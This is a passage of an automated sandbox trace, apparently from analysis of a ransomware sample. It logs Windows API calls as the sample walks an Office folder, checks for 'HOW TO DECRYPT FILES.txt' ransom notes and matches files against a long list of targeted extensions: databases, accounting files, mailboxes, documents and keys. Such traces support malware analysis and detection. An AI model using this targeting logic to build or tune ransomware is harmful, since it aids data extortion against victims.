1 [0058.327] lstrcmpiA (lpString1="", lpString2="ACEDAO.DLL") returned -1 [0058.327] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned="ACECORE.DLL" [0058.327] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.327] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.328] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0058.328] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0058.328] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="ACEDAO.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.ems") returned 0 [0058.328] lstrlenA (lpString="*.ems") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.db") returned 0 [0058.328] lstrlenA (lpString="*.db") returned 4 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.dbf") returned 0 [0058.328] lstrlenA (lpString="*.dbf") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.myox") returned 0 [0058.328] lstrlenA (lpString="*.myox") returned 6 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.myo") returned 0 [0058.328] lstrlenA (lpString="*.myo") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbw") returned 0 [0058.328] lstrlenA (lpString="*.qbw") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbb") returned 0 [0058.328] lstrlenA (lpString="*.qbb") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbm") returned 0 [0058.328] lstrlenA (lpString="*.qbm") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbo") returned 0 [0058.328] lstrlenA (lpString="*.qbo") returned 5 [0058.328] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbx") returned 0 [0058.328] lstrlenA (lpString="*.qbx") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qba") returned 0 [0058.329] lstrlenA (lpString="*.qba") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qby") returned 0 [0058.329] lstrlenA (lpString="*.qby") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qbj") returned 0 [0058.329] lstrlenA (lpString="*.qbj") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.ofx") returned 0 [0058.329] lstrlenA (lpString="*.ofx") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.qif") returned 0 [0058.329] lstrlenA (lpString="*.qif") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.mye") returned 0 [0058.329] lstrlenA (lpString="*.mye") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.mbox") returned 0 [0058.329] lstrlenA (lpString="*.mbox") returned 6 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.eml") returned 0 [0058.329] lstrlenA (lpString="*.eml") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.pst") returned 0 [0058.329] lstrlenA (lpString="*.pst") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.ost") returned 0 [0058.329] lstrlenA (lpString="*.ost") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.idx") returned 0 [0058.329] lstrlenA (lpString="*.idx") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.dbx") returned 0 [0058.329] lstrlenA (lpString="*.dbx") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.sql") returned 0 [0058.329] lstrlenA (lpString="*.sql") returned 5 [0058.329] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.mdb") returned 0 [0058.329] lstrlenA (lpString="*.mdb") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.fdb") returned 0 [0058.330] lstrlenA (lpString="*.fdb") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.wab") returned 0 [0058.330] lstrlenA (lpString="*.wab") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.dat") returned 0 [0058.330] lstrlenA (lpString="*.dat") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.txt") returned 0 [0058.330] lstrlenA (lpString="*.txt") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.jpeg") returned 0 [0058.330] lstrlenA (lpString="*.jpeg") returned 6 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.jpg") returned 0 [0058.330] lstrlenA (lpString="*.jpg") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.png") returned 0 [0058.330] lstrlenA (lpString="*.png") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.php") returned 0 [0058.330] lstrlenA (lpString="*.php") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.cs") returned 0 [0058.330] lstrlenA (lpString="*.cs") returned 4 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.cpp") returned 0 [0058.330] lstrlenA (lpString="*.cpp") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.rar") returned 0 [0058.330] lstrlenA (lpString="*.rar") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.zip") returned 0 [0058.330] lstrlenA (lpString="*.zip") returned 5 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.html") returned 0 [0058.330] lstrlenA (lpString="*.html") returned 6 [0058.330] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.htm") returned 0 [0058.330] lstrlenA (lpString="*.htm") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.xlsx") returned 0 [0058.331] lstrlenA (lpString="*.xlsx") returned 6 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.xls") returned 0 [0058.331] lstrlenA (lpString="*.xls") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.mp4") returned 0 [0058.331] lstrlenA (lpString="*.mp4") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.ppt") returned 0 [0058.331] lstrlenA (lpString="*.ppt") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.pptx") returned 0 [0058.331] lstrlenA (lpString="*.pptx") returned 6 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.doc") returned 0 [0058.331] lstrlenA (lpString="*.doc") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.dot") returned 0 [0058.331] lstrlenA (lpString="*.dot") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.docx") returned 0 [0058.331] lstrlenA (lpString="*.docx") returned 6 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.7z") returned 0 [0058.331] lstrlenA (lpString="*.7z") returned 4 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.tar") returned 0 [0058.331] lstrlenA (lpString="*.tar") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.bz2") returned 0 [0058.331] lstrlenA (lpString="*.bz2") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.gz") returned 0 [0058.331] lstrlenA (lpString="*.gz") returned 4 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.mkv") returned 0 [0058.331] lstrlenA (lpString="*.mkv") returned 5 [0058.331] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.eml") returned 0 [0058.332] lstrlenA (lpString="*.eml") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.msg") returned 0 [0058.332] lstrlenA (lpString="*.msg") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.edb") returned 0 [0058.332] lstrlenA (lpString="*.edb") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.accdb") returned 0 [0058.332] lstrlenA (lpString="*.accdb") returned 7 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.odb") returned 0 [0058.332] lstrlenA (lpString="*.odb") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.java") returned 0 [0058.332] lstrlenA (lpString="*.java") returned 6 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.asm") returned 0 [0058.332] lstrlenA (lpString="*.asm") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.pfx") returned 0 [0058.332] lstrlenA (lpString="*.pfx") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.pem") returned 0 [0058.332] lstrlenA (lpString="*.pem") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.p12") returned 0 [0058.332] lstrlenA (lpString="*.p12") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.gpg") returned 0 [0058.332] lstrlenA (lpString="*.gpg") returned 5 [0058.332] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", pszSpec="*.vsd") returned 0 [0058.333] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0058.333] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEERR.DLL") returned 1 [0058.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEERR.DLL") returned 1 [0058.333] lstrcmpiA (lpString1="", lpString2="ACEERR.DLL") returned -1 [0058.333] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned="ACEDAO.DLL" [0058.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.333] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.333] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0058.333] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0058.333] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="ACEERR.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" [0058.333] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0058.333] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEES.DLL") returned 1 [0058.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEES.DLL") returned 1 [0058.334] lstrcmpiA (lpString1="", lpString2="ACEES.DLL") returned -1 [0058.334] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned="ACEERR.DLL" [0058.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.334] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.334] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0058.334] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0058.334] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="ACEES.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" [0058.334] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0058.334] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.334] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEEXCH.DLL") returned 1 [0058.334] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEEXCH.DLL") returned 1 [0058.334] lstrcmpiA (lpString1="", lpString2="ACEEXCH.DLL") returned -1 [0058.334] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned="ACEES.DLL" [0058.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.334] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.336] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0058.336] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.337] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEEXCL.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEEXCL.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="", lpString2="ACEEXCL.DLL") returned -1 [0058.337] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned="ACEEXCH.DLL" [0058.337] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.337] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.337] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0058.337] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.337] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEODBC.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEODBC.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="", lpString2="ACEODBC.DLL") returned -1 [0058.337] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned="ACEEXCL.DLL" [0058.337] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.337] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.337] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0058.337] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.337] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEODDBS.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEODDBS.DLL") returned 1 [0058.337] lstrcmpiA (lpString1="", lpString2="ACEODDBS.DLL") returned -1 [0058.338] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned="ACEODBC.DLL" [0058.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.338] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.338] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0058.338] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.338] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEODEXL.DLL") returned 1 [0058.338] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEODEXL.DLL") returned 1 [0058.338] lstrcmpiA (lpString1="", lpString2="ACEODEXL.DLL") returned -1 [0058.338] PathFindFileNameA 